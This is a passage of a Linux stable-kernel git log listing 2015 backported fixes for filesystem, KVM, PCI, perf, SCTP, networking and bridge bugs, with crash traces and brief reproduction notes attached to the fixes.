    the warning to fire on legitimate code, and the warning is now firing
    and scaring people for no good reason.
    
    Reported-by: Ivan Delalande <colona@arista.com>
    Reported-by: Omar Sandoval <osandov@osandov.com>
    Fixes: f48cfddc6729e ("vfs: In d_path don't call d_dname on a mount point")
    Signed-off-by: "Eric W. Biederman" <ebiederm@xmission.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit c37fe1ff09c1f900828659bc9fbeb7ff627d7c21
Author: Jan Kara <jack@suse.cz>
Date:   Thu May 21 16:05:52 2015 +0200

    fs: Fix S_NOSEC handling
    
    commit 2426f3910069ed47c0cc58559a6d088af7920201 upstream.
    
    file_remove_suid() could mistakenly set S_NOSEC inode bit when root was
    modifying the file. As a result following writes to the file by ordinary
    user would avoid clearing suid or sgid bits.
    
    Fix the bug by checking actual mode bits before setting S_NOSEC.
    
    Signed-off-by: Jan Kara <jack@suse.cz>
    Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 67b3047b7ab80b80bca93a92e3aa9c4a7ea3e717
Author: Radim Krčmář <rkrcmar@redhat.com>
Date:   Wed Jul 1 15:31:49 2015 +0200

    KVM: x86: make vapics_in_nmi_mode atomic
    
    commit 42720138b06301cc8a7ee8a495a6d021c4b6a9bc upstream.
    
    Writes were a bit racy, but hard to turn into a bug at the same time.
    (Particularly because modern Linux doesn't use this feature anymore.)
    
    Signed-off-by: Radim Krčmář <rkrcmar@redhat.com>
    [Actually the next patch makes it much, much easier to trigger the race
     so I'm including this one for stable@ as well. - Paolo]
    Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 55d8b6ac1cb9a66fa0fc22c00c30c112126ca14c
Author: James Hogan <james.hogan@imgtec.com>
Date:   Mon Apr 27 15:07:16 2015 +0100

    MIPS: Fix KVM guest fixmap address
    
    commit 8e748c8d09a9314eedb5c6367d9acfaacddcdc88 upstream.
    
    KVM guest kernels for trap & emulate run in user mode, with a modified
    set of kernel memory segments. However the fixmap address is still in
    the normal KSeg3 region at 0xfffe0000 regardless, causing problems when
    cache alias handling makes use of them when handling copy on write.
    
    Therefore define FIXADDR_TOP as 0x7ffe0000 in the guest kernel mapped
    region when CONFIG_KVM_GUEST is defined.
    
    Signed-off-by: James Hogan <james.hogan@imgtec.com>
    Cc: linux-mips@linux-mips.org
    Patchwork: https://patchwork.linux-mips.org/patch/9887/
    Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 0fc28ac7a95c9a4cf660d22cc463a5e2ee4ecc5a
Author: Bjorn Helgaas <bhelgaas@google.com>
Date:   Tue Jun 9 18:54:07 2015 -0500

    x86/PCI: Use host bridge _CRS info on Foxconn K8M890-8237A
    
    commit 1dace0116d0b05c967d94644fc4dfe96be2ecd3d upstream.
    
    The Foxconn K8M890-8237A has two PCI host bridges, and we can't assign
    resources correctly without the information from _CRS that tells us which
    address ranges are claimed by which bridge.  In the bugs mentioned below,
    we incorrectly assign a sound card address (this example is from 1033299):
    
      bus: 00 index 2 [mem 0x80000000-0xfcffffffff]
      ACPI: PCI Root Bridge [PCI0] (domain 0000 [bus 00-7f])
      pci_root PNP0A08:00: host bridge window [mem 0x80000000-0xbfefffff] (ignored)
      pci_root PNP0A08:00: host bridge window [mem 0xc0000000-0xdfffffff] (ignored)
      pci_root PNP0A08:00: host bridge window [mem 0xf0000000-0xfebfffff] (ignored)
      ACPI: PCI Root Bridge [PCI1] (domain 0000 [bus 80-ff])
      pci_root PNP0A08:01: host bridge window [mem 0xbff00000-0xbfffffff] (ignored)
      pci 0000:80:01.0: [1106:3288] type 0 class 0x000403
      pci 0000:80:01.0: reg 10: [mem 0xbfffc000-0xbfffffff 64bit]
      pci 0000:80:01.0: address space collision: [mem 0xbfffc000-0xbfffffff 64bit] conflicts with PCI Bus #00 [mem 0x80000000-0xfcffffffff]
      pci 0000:80:01.0: BAR 0: assigned [mem 0xfd00000000-0xfd00003fff 64bit]
      BUG: unable to handle kernel paging request at ffffc90000378000
      IP: [<ffffffffa0345f63>] azx_create+0x37c/0x822 [snd_hda_intel]
    
    We assigned 0xfd_0000_0000, but that is not in any of the host bridge
    windows, and the sound card doesn't work.
    
    Turn on pci=use_crs automatically for this system.
    
    Link: https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/931368
    Link: https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/1033299
    Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit d820ef120292a6f8282e4f802433d31ca9b9c8c9
Author: Anton Blanchard <anton@samba.org>
Date:   Tue May 26 15:10:24 2015 +1000

    powerpc/perf: Fix book3s kernel to userspace backtraces
    
    commit 72e349f1124a114435e599479c9b8d14bfd1ebcd upstream.
    
    When we take a PMU exception or a software event we call
    perf_read_regs(). This overloads regs->result with a boolean that
    describes if we should use the sampled instruction address register
    (SIAR) or the regs.
    
    If the exception is in kernel, we start with the kernel regs and
    backtrace through the kernel stack. At this point we switch to the
    userspace regs and backtrace the user stack with perf_callchain_user().
    
    Unfortunately these regs have not got the perf_read_regs() treatment,
    so regs->result could be anything. If it is non zero,
    perf_instruction_pointer() decides to use the SIAR, and we get issues
    like this:
    
    0.11%  qemu-system-ppc  [kernel.kallsyms]        [k] _raw_spin_lock_irqsave
           |
           ---_raw_spin_lock_irqsave
              |
              |--52.35%-- 0
              |          |
              |          |--46.39%-- __hrtimer_start_range_ns
              |          |          kvmppc_run_core
              |          |          kvmppc_vcpu_run_hv
              |          |          kvmppc_vcpu_run
              |          |          kvm_arch_vcpu_ioctl_run
              |          |          kvm_vcpu_ioctl
              |          |          do_vfs_ioctl
              |          |          sys_ioctl
              |          |          system_call
              |          |          |
              |          |          |--67.08%-- _raw_spin_lock_irqsave <--- hi mum
              |          |          |          |
              |          |          |           --100.00%-- 0x7e714
              |          |          |                     0x7e714
    
    Notice the bogus _raw_spin_irqsave when we transition from kernel
    (system_call) to userspace (0x7e714). We inserted what was in the SIAR.
    
    Add a check in regs_use_siar() to check that the regs in question
    are from a PMU exception. With this fix the backtrace makes sense:
    
         0.47%  qemu-system-ppc  [kernel.vmlinux]         [k] _raw_spin_lock_irqsave
                |
                ---_raw_spin_lock_irqsave
                   |
                   |--53.83%-- 0
                   |          |
                   |          |--44.73%-- hrtimer_try_to_cancel
                   |          |          kvmppc_start_thread
                   |          |          kvmppc_run_core
                   |          |          kvmppc_vcpu_run_hv
                   |          |          kvmppc_vcpu_run
                   |          |          kvm_arch_vcpu_ioctl_run
                   |          |          kvm_vcpu_ioctl
                   |          |          do_vfs_ioctl
                   |          |          sys_ioctl
                   |          |          system_call
                   |          |          __ioctl
                   |          |          0x7e714
                   |          |          0x7e714
    
    Signed-off-by: Anton Blanchard <anton@samba.org>
    Signed-off-by: Michael Ellerman <mpe@ellerman.id.au>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 91f6ad7de6f3111e09d68ac80d9d534f03491f4d
Author: Marc Zyngier <marc.zyngier@arm.com>
Date:   Mon Mar 16 10:59:43 2015 +0000

    arm: KVM: force execution of HCPTR access on VM exit
    
    commit 85e84ba31039595995dae80b277378213602891b upstream.
    
    On VM entry, we disable access to the VFP registers in order to
    perform a lazy save/restore of these registers.
    
    On VM exit, we restore access, test if we did enable them before,
    and save/restore the guest/host registers if necessary. In this
    sequence, the FPEXC register is always accessed, irrespective
    of the trapping configuration.
    
    If the guest didn't touch the VFP registers, then the HCPTR access
    has now enabled such access, but we're missing a barrier to ensure
    architectural execution of the new HCPTR configuration. If the HCPTR
    access has been delayed/reordered, the subsequent access to FPEXC
    will cause a trap, which we aren't prepared to handle at all.
    
    The same condition exists when trapping to enable VFP for the guest.
    
    The fix is to introduce a barrier after enabling VFP access. In the
    vmexit case, it can be relaxed to only takes place if the guest hasn't
    accessed its view of the VFP registers, making the access to FPEXC safe.
    
    The set_hcptr macro is modified to deal with both vmenter/vmexit and
    vmtrap operations, and now takes an optional label that is branched to
    when the guest hasn't touched the VFP registers.
    
    Reported-by: Vikram Sethi <vikrams@codeaurora.org>
    Signed-off-by: Marc Zyngier <marc.zyngier@arm.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 4075da9bd94776fcaa4a73372b8a68623f6d8a1f
Author: Joerg Roedel <jroedel@suse.de>
Date:   Thu Jun 18 10:48:34 2015 +0200

    iommu/amd: Handle large pages correctly in free_pagetable
    
    commit 0b3fff54bc01e8e6064d222a33e6fa7adabd94cd upstream.
    
    Make sure that we are skipping over large PTEs while walking
    the page-table tree.
    
    Fixes: 5c34c403b723 ("iommu/amd: Fix memory leak in free_pagetable")
    Signed-off-by: Joerg Roedel <jroedel@suse.de>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 7f9a9673f1db9bbc7045aa637bb19f8918d04c8a
Author: Horia Geant? <horia.geanta@freescale.com>
Date:   Mon May 11 20:04:49 2015 +0300

    Revert "crypto: talitos - convert to use be16_add_cpu()"
    
    commit 69d9cd8c592f1abce820dbce7181bbbf6812cfbd upstream.
    
    This reverts commit 7291a932c6e27d9768e374e9d648086636daf61c.
    
    The conversion to be16_add_cpu() is incorrect in case cryptlen is
    negative due to premature (i.e. before addition / subtraction)
    implicit conversion of cryptlen (int -> u16) leading to sign loss.
    
    Cc: Wei Yongjun <yongjun_wei@trendmicro.com.cn>
    Signed-off-by: Horia Geanta <horia.geanta@freescale.com>
    Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 284d4f3c04f40ece0338dedf0a94dcc9ff5c77e2
Author: Horia Geant? <horia.geanta@freescale.com>
Date:   Mon May 11 20:03:24 2015 +0300

    crypto: talitos - avoid memleak in talitos_alg_alloc()
    
    commit 5fa7dadc898567ce14d6d6d427e7bd8ce6eb5d39 upstream.
    
    Fixes: 1d11911a8c57 ("crypto: talitos - fix warning: 'alg' may be used uninitialized in this function")
    Signed-off-by: Horia Geanta <horia.geanta@freescale.com>
    Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit a41f0610323e094c35d00dc420f77d8f789e8578
Author: Alexander Sverdlin <alexander.sverdlin@nokia.com>
Date:   Mon Jun 29 10:41:03 2015 +0200

    sctp: Fix race between OOTB responce and route removal
    
    [ Upstream commit 29c4afc4e98f4dc0ea9df22c631841f9c220b944 ]
    
    There is NULL pointer dereference possible during statistics update if the route
    used for OOTB responce is removed at unfortunate time. If the route exists when
    we receive OOTB packet and we finally jump into sctp_packet_transmit() to send
    ABORT, but in the meantime route is removed under our feet, we take "no_route"
    path and try to update stats with IP_INC_STATS(sock_net(asoc->base.sk), ...).
    
    But sctp_ootb_pkt_new() used to prepare responce packet doesn't call
    sctp_transport_set_owner() and therefore there is no asoc associated with this
    packet. Probably temporary asoc just for OOTB responces is overkill, so just
    introduce a check like in all other places in sctp_packet_transmit(), where
    "asoc" is dereferenced.
    
    To reproduce this, one needs to
    0. ensure that sctp module is loaded (otherwise ABORT is not generated)
    1. remove default route on the machine
    2. while true; do
         ip route del [interface-specific route]
         ip route add [interface-specific route]
       done
    3. send enough OOTB packets (i.e. HB REQs) from another host to trigger ABORT
       responce
    
    On x86_64 the crash looks like this:
    
    BUG: unable to handle kernel NULL pointer dereference at 0000000000000020
    IP: [<ffffffffa05ec9ac>] sctp_packet_transmit+0x63c/0x730 [sctp]
    PGD 0
    Oops: 0000 [#1] PREEMPT SMP
    Modules linked in: ...
    CPU: 0 PID: 0 Comm: swapper/0 Tainted: G           O    4.0.5-1-ARCH #1
    Hardware name: ...
    task: ffffffff818124c0 ti: ffffffff81800000 task.ti: ffffffff81800000
    RIP: 0010:[<ffffffffa05ec9ac>]  [<ffffffffa05ec9ac>] sctp_packet_transmit+0x63c/0x730 [sctp]
    RSP: 0018:ffff880127c037b8  EFLAGS: 00010296
    RAX: 0000000000000000 RBX: 0000000000000000 RCX: 00000015ff66b480
    RDX: 00000015ff66b400 RSI: ffff880127c17200 RDI: ffff880123403700
    RBP: ffff880127c03888 R08: 0000000000017200 R09: ffffffff814625af
    R10: ffffea00047e4680 R11: 00000000ffffff80 R12: ffff8800b0d38a28
    R13: ffff8800b0d38a28 R14: ffff8800b3e88000 R15: ffffffffa05f24e0
    FS:  0000000000000000(0000) GS:ffff880127c00000(0000) knlGS:0000000000000000
    CS:  0010 DS: 0000 ES: 0000 CR0: 000000008005003b
    CR2: 0000000000000020 CR3: 00000000c855b000 CR4: 00000000000007f0
    Stack:
     ffff880127c03910 ffff8800b0d38a28 ffffffff8189d240 ffff88011f91b400
     ffff880127c03828 ffffffffa05c94c5 0000000000000000 ffff8800baa1c520
     0000000000000000 0000000000000001 0000000000000000 0000000000000000
    Call Trace:
     <IRQ>
     [<ffffffffa05c94c5>] ? sctp_sf_tabort_8_4_8.isra.20+0x85/0x140 [sctp]
     [<ffffffffa05d6b42>] ? sctp_transport_put+0x52/0x80 [sctp]
     [<ffffffffa05d0bfc>] sctp_do_sm+0xb8c/0x19a0 [sctp]
     [<ffffffff810b0e00>] ? trigger_load_balance+0x90/0x210
     [<ffffffff810e0329>] ? update_process_times+0x59/0x60
     [<ffffffff812c7a40>] ? timerqueue_add+0x60/0xb0
     [<ffffffff810e0549>] ? enqueue_hrtimer+0x29/0xa0
     [<ffffffff8101f599>] ? read_tsc+0x9/0x10
     [<ffffffff8116d4b5>] ? put_page+0x55/0x60
     [<ffffffff810ee1ad>] ? clockevents_program_event+0x6d/0x100
     [<ffffffff81462b68>] ? skb_free_head+0x58/0x80
     [<ffffffffa029a10b>] ? chksum_update+0x1b/0x27 [crc32c_generic]
     [<ffffffff81283f3e>] ? crypto_shash_update+0xce/0xf0
     [<ffffffffa05d3993>] sctp_endpoint_bh_rcv+0x113/0x280 [sctp]
     [<ffffffffa05dd4e6>] sctp_inq_push+0x46/0x60 [sctp]
     [<ffffffffa05ed7a0>] sctp_rcv+0x880/0x910 [sctp]
     [<ffffffffa05ecb50>] ? sctp_packet_transmit_chunk+0xb0/0xb0 [sctp]
     [<ffffffffa05ecb70>] ? sctp_csum_update+0x20/0x20 [sctp]
     [<ffffffff814b05a5>] ? ip_route_input_noref+0x235/0xd30
     [<ffffffff81051d6b>] ? ack_ioapic_level+0x7b/0x150
     [<ffffffff814b27be>] ip_local_deliver_finish+0xae/0x210
     [<ffffffff814b2e15>] ip_local_deliver+0x35/0x90
     [<ffffffff814b2a15>] ip_rcv_finish+0xf5/0x370
     [<ffffffff814b3128>] ip_rcv+0x2b8/0x3a0
     [<ffffffff81474193>] __netif_receive_skb_core+0x763/0xa50
     [<ffffffff81476c28>] __netif_receive_skb+0x18/0x60
     [<ffffffff81476cb0>] netif_receive_skb_internal+0x40/0xd0
     [<ffffffff814776c8>] napi_gro_receive+0xe8/0x120
     [<ffffffffa03946aa>] rtl8169_poll+0x2da/0x660 [r8169]
     [<ffffffff8147896a>] net_rx_action+0x21a/0x360
     [<ffffffff81078dc1>] __do_softirq+0xe1/0x2d0
     [<ffffffff8107912d>] irq_exit+0xad/0xb0
     [<ffffffff8157d158>] do_IRQ+0x58/0xf0
     [<ffffffff8157b06d>] common_interrupt+0x6d/0x6d
     <EOI>
     [<ffffffff810e1218>] ? hrtimer_start+0x18/0x20
     [<ffffffffa05d65f9>] ? sctp_transport_destroy_rcu+0x29/0x30 [sctp]
     [<ffffffff81020c50>] ? mwait_idle+0x60/0xa0
     [<ffffffff810216ef>] arch_cpu_idle+0xf/0x20
     [<ffffffff810b731c>] cpu_startup_entry+0x3ec/0x480
     [<ffffffff8156b365>] rest_init+0x85/0x90
     [<ffffffff818eb035>] start_kernel+0x48b/0x4ac
     [<ffffffff818ea120>] ? early_idt_handlers+0x120/0x120
     [<ffffffff818ea339>] x86_64_start_reservations+0x2a/0x2c
     [<ffffffff818ea49c>] x86_64_start_kernel+0x161/0x184
    Code: 90 48 8b 80 b8 00 00 00 48 89 85 70 ff ff ff 48 83 bd 70 ff ff ff 00 0f 85 cd fa ff ff 48 89 df 31 db e8 18 63 e7 e0 48 8b 45 80 <48> 8b 40 20 48 8b 40 30 48 8b 80 68 01 00 00 65 48 ff 40 78 e9
    RIP  [<ffffffffa05ec9ac>] sctp_packet_transmit+0x63c/0x730 [sctp]
     RSP <ffff880127c037b8>
    CR2: 0000000000000020
    ---[ end trace 5aec7fd2dc983574 ]---
    Kernel panic - not syncing: Fatal exception in interrupt
    Kernel Offset: 0x0 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffff9fffffff)
    drm_kms_helper: panic occurred, switching back to text console
    ---[ end Kernel panic - not syncing: Fatal exception in interrupt
    
    Signed-off-by: Alexander Sverdlin <alexander.sverdlin@nokia.com>
    Acked-by: Neil Horman <nhorman@tuxdriver.com>
    Acked-by: Marcelo Ricardo Leitner <marcelo.leitner@gmail.com>
    Acked-by: Vlad Yasevich <vyasevich@gmail.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 5cfc758145a82092713a8567255477dde3004a33
Author: Julian Anastasov <ja@ssi.bg>
Date:   Tue Jun 16 22:56:39 2015 +0300

    neigh: do not modify unlinked entries
    
    [ Upstream commit 2c51a97f76d20ebf1f50fef908b986cb051fdff9 ]
    
    The lockless lookups can return entry that is unlinked.
    Sometimes they get reference before last neigh_cleanup_and_release,
    sometimes they do not need reference. Later, any
    modification attempts may result in the following problems:
    
    1. entry is not destroyed immediately because neigh_update
    can start the timer for dead entry, eg. on change to NUD_REACHABLE
    state. As result, entry lives for some time but is invisible
    and out of control.
    
    2. __neigh_event_send can run in parallel with neigh_destroy
    while refcnt=0 but if timer is started and expired refcnt can
    reach 0 for second time leading to second neigh_destroy and
    possible crash.
    
    Thanks to Eric Dumazet and Ying Xue for their work and analyze
    on the __neigh_event_send change.
    
    Fixes: 767e97e1e0db ("neigh: RCU conversion of struct neighbour")
    Fixes: a263b3093641 ("ipv4: Make neigh lookups directly in output packet path.")
    Fixes: 6fd6ce2056de ("ipv6: Do not depend on rt->n in ip6_finish_output2().")
    Cc: Eric Dumazet <eric.dumazet@gmail.com>
    Cc: Ying Xue <ying.xue@windriver.com>
    Signed-off-by: Julian Anastasov <ja@ssi.bg>
    Acked-by: Eric Dumazet <edumazet@google.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 53cd9056411e6a809b81f6d108e2845c385ec5ee
Author: Willem de Bruijn <willemb@google.com>
Date:   Wed Jun 17 15:59:34 2015 -0400

    packet: avoid out of bounds read in round robin fanout
    
    [ Upstream commit 468479e6043c84f5a65299cc07cb08a22a28c2b1 ]
    
    PACKET_FANOUT_LB computes f->rr_cur such that it is modulo
    f->num_members. It returns the old value unconditionally, but
    f->num_members may have changed since the last store. Ensure
    that the return value is always < num.
    
    When modifying the logic, simplify it further by replacing the loop
    with an unconditional atomic increment.
    
    Fixes: dc99f600698d ("packet: Add fanout support.")
    Suggested-by: Eric Dumazet <edumazet@google.com>
    Signed-off-by: Willem de Bruijn <willemb@google.com>
    Acked-by: Eric Dumazet <edumazet@google.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit d8162e469f9782244d18f6a38e9ee16edf5b9646
Author: Eric Dumazet <edumazet@google.com>
Date:   Tue Jun 16 07:59:11 2015 -0700

    packet: read num_members once in packet_rcv_fanout()
    
    [ Upstream commit f98f4514d07871da7a113dd9e3e330743fd70ae4 ]
    
    We need to tell compiler it must not read f->num_members multiple
    times. Otherwise testing if num is not zero is flaky, and we could
    attempt an invalid divide by 0 in fanout_demux_cpu()
    
    Note bug was present in packet_rcv_fanout_hash() and
    packet_rcv_fanout_lb() but final 3.1 had a simple location
    after commit 95ec3eb417115fb ("packet: Add 'cpu' fanout policy.")
    
    Fixes: dc99f600698dc ("packet: Add fanout support.")
    Signed-off-by: Eric Dumazet <edumazet@google.com>
    Cc: Willem de Bruijn <willemb@google.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit f08abd15c340992b1dff9517e4f2d596e3bf5a63
Author: Nikolay Aleksandrov <razor@blackwall.org>
Date:   Mon Jun 15 20:28:51 2015 +0300

    bridge: fix br_stp_set_bridge_priority race conditions
    
    [ Upstream commit 2dab80a8b486f02222a69daca6859519e05781d9 ]
    
    After the ->set() spinlocks were removed br_stp_set_bridge_priority
    was left running without any protection when used via sysfs. It can
    race with port add/del and could result in use-after-free cases and
    corrupted lists. Tested by running port add/del in a loop with stp
    enabled while setting priority in a loop, crashes are easily
    reproducible.
    The spinlocks around sysfs ->set() were removed in commit:
    14f98f258f19 ("bridge: range check STP parameters")
    There's also a race condition in the netlink priority support that is
    fixed by this change, but it was introduced recently and the fixes tag
    covers it, just in case it's needed the commit is:
    af615762e972 ("bridge: add ageing_time, stp_state, priority over netlink")
    
    Signed-off-by: Nikolay Aleksandrov <razor@blackwall.org>
    Fixes: 14f98f258f19 ("bridge: range check STP parameters")
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit bee9ad8fe88affc985755c97511637a8672b0fb2
Author: Marcelo Ricardo Leitner <marcelo.leitner@gmail.com>
Date:   Fri Jun 12 10:16:41 2015 -0300

    sctp: fix ASCONF list handling
    
    [ Upstream commit 2d45a02d0166caf2627fe91897c6ffc3b19514c4 ]
    
    ->auto_asconf_splist is per namespace and mangled by functions like
    sctp_setsockopt_auto_asconf() which doesn't guarantee any serialization.
    
    Also, the call to inet_sk_copy_descendant() was backuping
    ->auto_asconf_list through the copy but was not honoring
    ->do_auto_asconf, which could lead to list corruption if it was
    different between both sockets.
    
    This commit thus fixes the list handling by using ->addr_wq_lock
    spinlock to protect the list. A special handling is done upon socket
    creation and destruction for that. Error handlig on sctp_init_sock()
    will never return an error after having initialized asconf, so
    sctp_destroy_sock() can be called without addrq_wq_lock. The lock now
    will be take on sctp_close_sock(), before locking the socket, so we
    don't do it in inverse order compared to sctp_addr_wq_timeout_handler().
    
    Instead of taking the lock on sctp_sock_migrate() for copying and
    restoring the list values, it's preferred to avoid rewritting it by
    implementing sctp_copy_descendant().
    
    Issue was found with a test application that kept flipping sysctl
    default_auto_asconf on and off, but one could trigger it by issuing
    simultaneous setsockopt() calls on multiple sockets or by
    creating/destroying sockets fast enough. This is only triggerable
    locally.
    
    Fixes: 9f7d653b67ae ("sctp: Add Auto-ASCONF support (core).")
    Reported-by: Ji Jianwen <jiji@redhat.com>
    Suggested-by: Neil Horman <nhorman@tuxdriver.com>
    Suggested-by: Hannes Frederic Sowa <hannes@stressinduktion.org>
    Acked-by: Hannes Frederic Sowa <hannes@stressinduktion.org>
    Signed-off-by: Marcelo Ricardo Leitner <marcelo.leitner@gmail.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 11d59bcaa8167d86b34b143e191e47c126ebea91
Author: Shaohua Li <shli@fb.com>
Date:   Thu Jun 11 16:50:48 2015 -0700

    net: don't wait for order-3 page allocation
    
    [ Upstream commit fb05e7a89f500cfc06ae277bdc911b281928995d ]
    
    We saw excessive direct memory compaction triggered by skb_page_frag_refill.
    This causes performance issues and add latency. Commit 5640f7685831e0
    introduces the order-3 allocation. According to the changelog, the order-3
    allocation isn't a must-have but to improve performance. But direct memory
    compaction has high overhead. The benefit of order-3 allocation can't
    compensate the overhead of direct memory compaction.
    
    This patch makes the order-3 page allocation atomic. If there is no memory
    pressure and memory isn't fragmented, the alloction will still success, so we
    don't sacrifice the order-3 benefit here. If the atomic allocation fails,
    direct memory compaction will not be triggered, skb_page_frag_refill will
    fallback to order-0 immediately, hence the direct memory compaction overhead is
    avoided. In the allocation failure case, kswapd is waken up and doing
    compaction, so chances are allocation could success next time.
    
    alloc_skb_with_frags is the same.
    
    The mellanox driver does similar thing, if this is accepted, we must fix
    the driver too.
    
    V3: fix the same issue in alloc_skb_with_frags as pointed out by Eric
    V2: make the changelog clearer
    
    Cc: Eric Dumazet <edumazet@google.com>
    Cc: Chris Mason <clm@fb.com>
    Cc: Debabrata Banerjee <dbavatar@gmail.com>
    Signed-off-by: Shaohua Li <shli@fb.com>
    Acked-by: Eric Dumazet <edumazet@google.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 07cde7c20c9fd0ea3e9177db017dce03c60dcd42
Author: Nikolay Aleksandrov <razor@blackwall.org>
Date:   Tue Jun 9 10:23:57 2015 -0700

    bridge: fix multicast router rlist endless loop
    
    [ Upstream commit 1a040eaca1a22f8da8285ceda6b5e4a2cb704867 ]
    
    Since the addition of sysfs multicast router support if one set
    multicast_router to "2" more than once, then the port would be added to
    the hlist every time and could end up linking to itself and thus causing an
    endless loop for rlist walkers.
    So to reproduce just do:
    echo 2 > multicast_router; echo 2 > multicast_router;
    in a bridge port and let some igmp traffic flow, for me it hangs up
    in br_multicast_flood().
    Fix this by adding a check in br_multicast_add_router() if the port is
    already linked.
    The reason this didn't happen before the addition of multicast_router
    sysfs entries is because there's a !hlist_unhashed check that prevents
    it.
    
    Signed-off-by: Nikolay Aleksandrov <razor@blackwall.org>
    Fixes: 0909e11758bd ("bridge: Add multicast_router sysfs entries")
    Acked-by: Herbert Xu <herbert@gondor.apana.org.au>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 6b4086dc645491f3df0f5bc7b49cf9dccd827801
Author: Sowmini Varadhan <sowmini.varadhan@oracle.com>
Date:   Tue Apr 21 10:30:41 2015 -0400

    sparc: Use GFP_ATOMIC in ldc_alloc_exp_dring() as it can be called in softirq context
    
    commit 0edfad5959df7379c9e554fbe8ba264ae232d321 upstream.
    
    Since it is possible for vnet_event_napi to end up doing
    vnet_control_pkt_engine -> ... -> vnet_send_attr ->
    vnet_port_alloc_tx_ring -> ldc_alloc_exp_dring -> kzalloc()
    (i.e., in softirq context), kzalloc() should be called with
    GFP_ATOMIC from ldc_alloc_exp_dring.
    
    Signed-off-by: Sowmini Varadhan <sowmini.varadhan@oracle.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Jiri Slaby <jslaby@suse.com>

commit bee6cd85e93d34534a0908ba4ba7502194b998ca
Author: Yann Droneaud <ydroneaud@opteya.com>
Date:   Mon Nov 17 23:02:19 2014 +0000

    arm64/mm: Remove hack in mmap randomize layout
    
    commit d6c763afab142a85e4770b4bc2a5f40f256d5c5d upstream.
    
    Since commit 8a0a9bd4db63 ('random: make get_random_int() more
    random'), get_random_int() returns a random value for each call,
    so comment and hack introduced in mmap_rnd() as part of commit
    1d18c47c735e ('arm64: MMU fault handling and page table management')
    are incorrects.
    
    Commit 1d18c47c735e seems to use the same hack introduced by
    commit a5adc91a4b44 ('powerpc: Ensure random space between stack
    and mmaps'), latter copied in commit 5a0efea09f42 ('sparc64: Sharpen
    address space randomization calculations.').
    
    But both architectures were cleaned up as part of commit
    fa8cbaaf5a68 ('powerpc+sparc64/mm: Remove hack in mmap randomize
    layout') as hack is no more needed since commit 8a0a9bd4db63.
    
    So the present patch removes the comment and the hack around
    get_random_int() on AArch64's mmap_rnd().
    
    Cc: David S. Miller <davem@davemloft.net>
    Cc: Anton Blanchard <anton@samba.org>
    Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>
    Acked-by: Will Deacon <will.deacon@arm.com>
    Acked-by: Dan McGee <dpmcgee@gmail.com>
    Signed-off-by: Yann Droneaud <ydroneaud@opteya.com>
    Signed-off-by: Will Deacon <will.deacon@arm.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.com>

commit 79be5a7205c9095580f3a09f40adf651fc2e47c9
Author: Rajat Jain <rajatxjain@gmail.com>
Date:   Tue Jun 30 15:05:08 2015 +0200

    PCI: pciehp: Add hotplug_lock to serialize hotplug events
    
    commit 50b52fdee050745935d92e7026373edea2647e60 upstream.
    
    Today it is there is no protection around pciehp_enable_slot() and
    pciehp_disable_slot() to ensure that they complete before another
    hot-plug operation can be done on that particular slot.
    
    This patch introduces the slot->hotplug_lock to ensure that any hotplug
    operations (add / remove) complete before another hotplug event can begin
    processing on that particular slot.
    
    Signed-off-by: Rajat Jain <rajatxjain@gmail.com>
    Signed-off-by: Rajat Jain <rajatjain@juniper.net>
    Signed-off-by: Guenter Roeck <groeck@juniper.net>
    Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
    [backported for SLE12]
    Signed-off-by: Luis R. Rodriguez <mcgrof@suse.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.com>

commit 0da9ac29cddaaf0911fbeaf46e7b4e155cdc792e
Author: Al Viro <viro@zeniv.linux.org.uk>
Date:   Fri Oct 4 11:06:42 2013 -0400

    get rid of s_files and files_lock
    
    commit eee5cc2702929fd41cce28058dc6d6717f723f87 upstream.
    
    The only thing we need it for is alt-sysrq-r (emergency remount r/o)
    and these days we can do just as well without going through the
    list of files.
    
    Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
    Signed-off-by: Jiri Slaby <jslaby@suse.com>

commit da390b055a2dc50545a86e1c34161cf4bdd9af02
Author: Al Viro <viro@zeniv.linux.org.uk>
Date:   Tue Oct 1 15:09:58 2013 -0400

    uninline destroy_super(), consolidate alloc_super()
    
    commit 7eb5e8826911f2792179f99e77e75fbb7ef53a4a upstream.
    
